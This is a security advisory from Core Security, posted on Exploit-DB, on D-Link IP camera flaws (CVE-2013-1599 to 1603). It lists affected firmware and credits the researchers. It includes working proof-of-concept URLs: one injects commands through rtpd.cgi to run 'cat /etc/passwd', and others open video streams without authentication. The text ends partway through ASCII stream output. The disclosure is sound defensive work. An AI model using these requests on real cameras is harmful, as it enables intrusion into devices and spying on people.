Exploit-DB #25138
Description: D-Link IP Cameras - Multiple Vulnerabilities
Type: webapps
Platform: hardware
Date: 2013-05-01
Author: Core Security

Exploit:
Core Security - Corelabs Advisory
http://corelabs.coresecurity.com/

D-Link IP Cameras Multiple Vulnerabilities

1. *Advisory Information*

Title: D-Link IP Cameras Multiple Vulnerabilities
Advisory ID: CORE-2013-0303
Advisory URL:
http://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities
Date published: 2013-04-29
Date of last update: 2013-03-29
Vendors contacted: D-Link Corporation
Release mode: Coordinated release

2. *Vulnerability Information*

Class: OS command injection [CWE-78], Authentication issues [CWE-287],
Information leak through GET request [CWE-598], Authentication issues
[CWE-287], Use of hard-coded credentials [CWE-798]
Impact: Code execution, Security bypass
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2013-1599, CVE-2013-1600, CVE-2013-1601, CVE-2013-1602,
CVE-2013-1603

3. *Vulnerability Description*

Multiple vulnerabilities have been found in D-Link IP cameras [1] that
could allow an unauthenticated remote attacker:

   1. [CVE-2013-1599] to execute arbitrary commands from the
administration web interface,
   2. [CVE-2013-1600] to access the video stream via HTTP,
   3. [CVE-2013-1601] to access the ASCII video stream via image luminance,
   4. [CVE-2013-1602] to access the video stream via RTSP,
   5. [CVE-2013-1603] to bypass RTSP authentication using hard-coded
credentials.

4. *Vulnerable Packages*

The following is the list of affected devices and the associated
firmware (confirmed by D-Link). Other SKUs are probably affected too,
but they were not checked.

[CVE-2013-1599]
   . DCS-3411/3430 - firmware v1.02
   . DCS-5605/5635 - v1.01
   . DCS-1100L/1130L - v1.04
   . DCS-1100/1130 - v1.03
   . DCS-1100/1130 - v1.04_US
   . DCS-2102/2121 - v1.05_RU
   . DCS-3410 - v1.02
   . DCS-5230 - v1.02
   . DCS-5230L - v1.02
   . DCS-6410 - v1.00
   . DCS-7410 - v1.00
   . DCS-7510 - v1.00
   . WCS-1100 - v1.02

[CVE-2013-1600]
   . DCS-2102/2121 - v1.05_RU
   . DCS-2102/2121 - v1.06
   . DCS-2102/2121 - v1.06_FR
   . TESCO DCS-2102/2121 - v1.05_TESCO

[CVE-2013-1601] and [CVE-2013-1603]
   . DCS-3411/3430 - v1.02
   . DCS-5605/5635 - v1.01
   . DCS-1100L/1130L - v1.04
   . DCS-1100/1130 - v1.03
   . DCS-1100/1130 - v1.04_US
   . DCS-2102/2121 - v1.05_RU
   . DCS-2102/2121 - v1.06
   . DCS-2102/2121 - v1.06_FR
   . TESCO DCS-2102/2121 - v1.05_TESCO
   . DCS-3410 - v1.02
   . DCS-5230 - v1.02
   . DCS-5230L - v1.02
   . DCS-6410 - v1.00
   . DCS-7410 - v1.00
   . DCS-7510 - v1.00
   . WCS-1100 - v1.02

[CVE-2013-1602]
   . ALL mentioned devices and firmware.

5. *Vendor Information, Solutions and Workarounds*

D-Link announces that all patches are ready and scheduled for posting on
corporate web site for all customers [2013-04-25]. Contact D-Link for
further information.

6. *Credits*

[CVE-2013-1599], [CVE-2013-1600] and [CVE-2013-1601] were discovered and
researched by Francisco Falcon and Nahuel Riva from Core Exploit Writers
Team.

[CVE-2013-1602] was discovered and researched by Martin Rocha from Core
Impact Pro Team. The PoC was made by Martin Rocha with help of Juan
Cotta from Core QA Team.

[CVE-2013-1603] was discovered and researched by Pablo Santamaria from
Core Security Consulting Services.

The publication of this advisory was coordinated by Fernando Miranda
from Core Advisories Team.

7. *Technical Description / Proof of Concept Code*

7.1. *OS Command Injection*

[CVE-2013-1599] A security issue located in '/var/www/cgi-bin/rtpd.cgi'
allows an unauthenticated remote attacker to execute arbitrary commands
through the camera's web interface. The OS command injection is due to
this code in 'rtpd.cgi':

/-----
echo "$QUERY_STRING" | grep -vq ' ' || die "query string cannot contain
spaces."
. $conf > /dev/null 2> /dev/null
eval "$(echo $QUERY_STRING | sed -e 's/&/ /g')"

-----/
 The first line of this snippet basically ensures that there are no
spaces in '$QUERY_STRING'. The last line uses 'sed' to replace
ampersands '&' with spaces, and then call to the function 'eval()',
resulting in a typical command injection. For example, in order to execute:

/-----
uname -a;cat /etc/passwd
-----/
 the following request can be sent to the camera web interface:

/-----
http://192.168.1.100/cgi-bin/rtpd.cgi?uname&-a;cat&/etc/passwd
-----/


7.2. *Authentication Bypass*

[CVE-2013-1600] The live video stream can be accessed without
authentication by a remote attacker via the following request:

/-----
http://192.168.1.100/upnp/asf-mp4.asf
-----/

7.3. *ASCII Video Stream Information Leak*

[CVE-2013-1601] An ASCII output (the image luminance) of the live video
stream can be accessed by a remote unauthenticated attacker via:

/-----
http://192.168.1.100/md/lums.cgi
-----/
 The following example is the output of a coffee pot video stream [2]:

/-----
O O O O O O O O O O O O O O O O O O O O O O O O O O o o o o o o o o o o o o
O O O O O O O O O O O O O O O O O O O O o o o O O O o o o o o o o o o o o o
O O O O O O O O O O O O O O O O O O .       . . o O O o o o o o o o o o o o
O O O O O O O O O O O O o o O O o         . .   o o o o o o o o o o o o o o
O O O O O O O O O O O O o o o o . . . . .                   . o o o o o o o
O O O O O O O O O O o . o O O o                               . o o o o o o
O O O O O O O O O .                                           . o o o o o o
O O O O O O O O .                                         . o o o o o o o o
O O O O O O O .     . o O O o .                         . o o o o o o o o o
O O O O O O o     . O O O O O O                         . o o o o o o o o o
O O O O O O .     O O O O O O O .     . . . .             o o o o o o o o o
O O O O O O     o O O O O O O O .     . . o . .           . o o o o o o o o
O O O O O O     o O O O O O O O .   . . o o o . . . . . . . o o o o o o o o
O O O O O O     o O O O O O O o . o O O o O O